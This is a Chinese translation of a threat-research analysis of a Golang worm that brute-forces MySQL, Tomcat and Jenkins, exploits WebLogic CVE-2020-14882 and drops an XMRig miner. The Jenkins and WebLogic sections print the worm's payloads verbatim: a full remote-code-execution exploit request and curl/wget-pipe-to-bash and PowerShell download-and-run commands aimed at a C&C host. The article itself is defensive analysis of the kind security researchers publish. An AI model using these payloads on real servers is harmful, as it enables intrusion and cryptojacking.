譯者:知道創(chuàng)宇404實(shí)驗(yàn)室翻譯組
原文鏈接:https://www.intezer.com/blog/research/new-golang-worm-drops-xmrig-miner-on-servers/
介紹
12月初,我們發(fā)現(xiàn)了一種新的用Golang編寫(xiě)的蠕蟲(chóng)。該蠕蟲(chóng)延續(xù)了 Golang在2020年流行的多平臺(tái)惡意軟件趨勢(shì)。
該蠕蟲(chóng)試圖在網(wǎng)絡(luò)中傳播,以便大規(guī)模運(yùn)行XMRig Miner。惡意軟件同時(shí)針對(duì)windows和linux服務(wù)器,可以輕松地從一個(gè)平臺(tái)轉(zhuǎn)移到另一個(gè)平臺(tái)。它的目標(biāo)是面向公眾的服務(wù):密碼較弱的MySQL、Tomcat管理面板和Jenkins。在較舊的版本中,該蠕蟲(chóng)還嘗試?yán)肳ebLogic的最新漏洞:CVE-2020-14882。
在我們的分析過(guò)程中,攻擊者不斷更新C&C服務(wù)器上的蠕蟲(chóng)。這表明該蠕蟲(chóng)處于活躍狀態(tài),并且可能在將來(lái)的更新中針對(duì)其他弱配置的服務(wù)。
技術(shù)分析
該攻擊使用三個(gè)文件:一個(gè)dropper腳本(bash或powershell)、一個(gè)Golang二進(jìn)制蠕蟲(chóng)和一個(gè)XMRig Miner,所有這些文件都托管在同一C&C上。
目前,還未檢測(cè)到ELF蠕蟲(chóng)二進(jìn)制文件和bash dropper腳本。
圖1顯示了VirusTotal中的ELF蠕蟲(chóng)二進(jìn)制檢測(cè)結(jié)果。

圖1:在VirusTotal(ead2cf8ab7aef63706b40eb57d668d0a)中完全未檢測(cè)到ELF文件
該惡意軟件在Linux和Windows操作系統(tǒng)上的行為類(lèi)似。我們將在下面描述Linux蠕蟲(chóng)感染流程。
Linux蠕蟲(chóng)感染流程
在執(zhí)行后,蠕蟲(chóng)會(huì)檢查受感染計(jì)算機(jī)上的進(jìn)程是否正在偵聽(tīng)端口52013。此端口上存在的偵聽(tīng)器可充當(dāng)惡意軟件的互斥體。如果該端口的套接字已經(jīng)打開(kāi),則實(shí)例將退出,否則它將在該端口上打開(kāi)網(wǎng)絡(luò)套接字。
在舊版本中,該蠕蟲(chóng)會(huì)將XMRig Miner作為Network01解壓縮到tmp文件夾中并運(yùn)行它。 使用名為go-bindata的Go資源嵌入包將礦工嵌入Golang二進(jìn)制文件中。惡意軟件使用bindataFile函數(shù)解壓縮嵌入式XMRig Miner二進(jìn)制文件。圖2顯示了此文件中的函數(shù)。

圖2:xmrigu linuxu amd64.go文件
惡意軟件將使用TCP-SYN掃描網(wǎng)絡(luò),以便找到它可以暴力攻擊并在網(wǎng)絡(luò)上傳播的服務(wù)。它將掃描具有與這些服務(wù)有關(guān)的開(kāi)放端口的IP:蠕蟲(chóng)的較舊版本上為8080(對(duì)于Tomcat和Jenkins)、3306(對(duì)于MySQL)和7001(對(duì)于WebLogic)。這些漏洞利用程序均在src“exp”(漏洞利用)代碼下具有一個(gè)程序包。

圖3:exp文件和函數(shù)
蠕蟲(chóng)使用gopacket庫(kù),該庫(kù)為Go提供C綁定,以使用libpcap讀取網(wǎng)絡(luò)數(shù)據(jù)包。通過(guò)運(yùn)行pcapc,蠕蟲(chóng)會(huì)獲取用于收集ACKS的網(wǎng)絡(luò)數(shù)據(jù),并繼續(xù)對(duì)服務(wù)進(jìn)行暴力破解。圖4顯示了蠕蟲(chóng)在Tomcat和MySQL服務(wù)上的暴力破解以及利用。

圖4:蠕蟲(chóng)輸出的片段
攻擊后,惡意軟件將提供加載程序腳本:ld.sh(Linux)和ld.ps1(Windows)。加載程序負(fù)責(zé)在被利用的服務(wù)上刪除并運(yùn)行XMRig Miner和Golang蠕蟲(chóng)。圖5和6中的加載程序腳本如下:

圖5:ldr.sh——基于Linux的Dropper bash腳本

圖6:ldr.ps1——基于Windows的Dropper powershell腳本
攻擊流程
下面介紹每種服務(wù)的攻擊流程。
MySql:3306端口
該惡意軟件將運(yùn)行暴力攻擊。該惡意軟件使用包含弱憑據(jù)的硬編碼字典(例如root:123456)來(lái)進(jìn)行此攻擊。
成功登錄后,它將運(yùn)行一個(gè)shellcode,以使用mysql UDF獲得本地特權(quán)升級(jí)。該漏洞利用程序以十六進(jìn)制字符串形式嵌入二進(jìn)制文件中。該蠕蟲(chóng)針對(duì)每種操作系統(tǒng)和體系結(jié)構(gòu)(UDFLINUX32,UDFLINUX64,UDFLWIN32和UDFWIN64)都有利用。瀏覽此處以獲取有關(guān)漏洞利用的更多信息。
運(yùn)行漏洞利用程序后,有效負(fù)載將使用sys_exec命令刪除并運(yùn)行加載程序腳本。URLWIN和URLLINUX存儲(chǔ)刪除程序腳本URL。圖7和8顯示了每個(gè)操作系統(tǒng)的有效負(fù)載。

圖7:MySQL查詢——Linux有效負(fù)載

圖8:MySQL查詢——Windows有效負(fù)載
Tomcat:8080端口
惡意軟件將使用基本身份驗(yàn)證在管理面板上運(yùn)行憑據(jù)。

圖9:Tomcat管理面板的身份驗(yàn)證請(qǐng)求示例
試用成功后,惡意軟件將嘗試部署WAR文件(Web應(yīng)用程序資源),該文件將用于傳輸包含惡意有效負(fù)載的1.jsp文件。
該惡意軟件將發(fā)送Get請(qǐng)求并使用jsp文件解析參數(shù)%s/1.jsp?win=%s&linux=%s。這些參數(shù)將包含dropper腳本URL。然后,jsp腳本將刪除并運(yùn)行加載程序。

圖10:1.jsp文件腳本
Jenkins:端口8080
與以前的攻擊類(lèi)似,該惡意軟件暴力破解Jenkins密碼,登錄并運(yùn)行以下負(fù)載:
cmd@/c@powershell iex(New-Object Net.WebClient).DownloadString(‘%s’)!bash@-c@(curl -fsSL %s || wget -q -O – %s) | bash
println “%s”+”%s”;def s=new String(Base64.getDecoder().decode(“%s”+”%s”.reverse())).split(“!”);def c=System.getProperty(“os.name”).contains(“indo”)?s[0].split(“@”):s[1].split(“@”);c.execute()
WebLogic:7001端口
在舊版本中,該惡意軟件利用了最新的WebLogic遠(yuǎn)程代碼執(zhí)行漏洞CVE-2020-14882。它將獲取請(qǐng)求發(fā)送到WebLogic服務(wù),并將GET請(qǐng)求標(biāo)頭用作有效負(fù)載的一部分。
GET
/console/css/%%25%%32%%65%%25%%32%%65%%25%%32%%66consolejndi.portal?test_handle=com.tangosol.coherence.mvel2.sh.ShellSession(‘weblogic.work.ExecuteThread
%%20currentThread(weblogic.work.ExecuteThread)Thread.currentThread();weblogic.work.
WorkAdapter%%20adapter=currentThread.getCurrentWork();JAVA.lang.reflect.Field%%20
field=adapter.getClass().getDeclaredField(“connectionHandler”);field.setAccessible
(true);Object%%20obj=field.get(adapter);weblogic.servlet.internal.ServletRequestI
mpl%%20req(weblogic.servlet.internal.ServletRequestImpl)obj.getClass().getMethod
(“getServletRequest”).invoke(obj);String%%20cmd=**req.getHeader(“cmd”)**;String[]%%
20cmds=System.getProperty(“os.name”).toLowerCase().contains(“win”)?new%%20String[]{“cmd.exe”,”/c”,**req.getHeader(“win”)**}:new%%20String[]{“/bin/sh”,”c”,req.getHeader
(“linux”)};if(cmd!=null{String%%20result=new%%20java.util.Scanner(new%%20java.lang
.ProcessBuilder(cmds).start().getInputStream()).useDelimiter(“%%5C%%5CA”).next();
weblogic.servlet.internal.ServletResponseImpl%%20res(weblogic.servlet.internal.
ServletResponseImpl)req.getClass().getMethod(“getResponse”).invoke(req);work.
getServletOutputStream().writeStream(new%%20weblogic.xml.util.StringInputStream
(result));work.getServletOutputStream().flush
();}currentThread.interrupt();’) HTTP/1.0
Host: %s:%d
User-Agent: Mozilla/5.0 (macintosh; Intel Mac OS X 10.16; rv:82.0) Gecko/20100101 Firefox/82.0
Accept: text/html,Application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Connection: close
**cmd**: ls
**linux**: ( (curl -fsSL %s || wget -q -O – %s) | bash& )
**win**: start powershell iex(New-Object Net.WebClient).DownloadString(‘%s’)
預(yù)防措施
1.使用復(fù)雜的密碼,限制登錄嘗試,并在可能的情況下使用2FA(雙重身份驗(yàn)證)。
2.盡量減少使用面向公眾的服務(wù)。
3.使用最新的安全補(bǔ)丁更新軟件。
4.使用Intezer Protect之類(lèi)的Cloud Workload Protection Platform(CWPP)可獲得對(duì)系統(tǒng)代碼的完整運(yùn)行時(shí)可見(jiàn)性,并在任何惡意或未經(jīng)授權(quán)的代碼上收到警報(bào)。 這里有一個(gè)免費(fèi)的社區(qū)版。
總結(jié)
在2020年,我們看到了針對(duì)不同平臺(tái)(包括Windows、Linux、Mac和Android)的Golang惡意軟件。這種情況將在2021年繼續(xù)下去。
事實(shí)上,蠕蟲(chóng)的PE和ELF惡意軟件的代碼幾乎相同,而ELF惡意軟件在VirusTotal中未被檢測(cè)到,這表明Linux威脅仍然在大多數(shù)安全和檢測(cè)平臺(tái)下存在。
IoCs
C&C
185[.]239[.]242[.]71(ZoomEye搜索結(jié)果)
Files

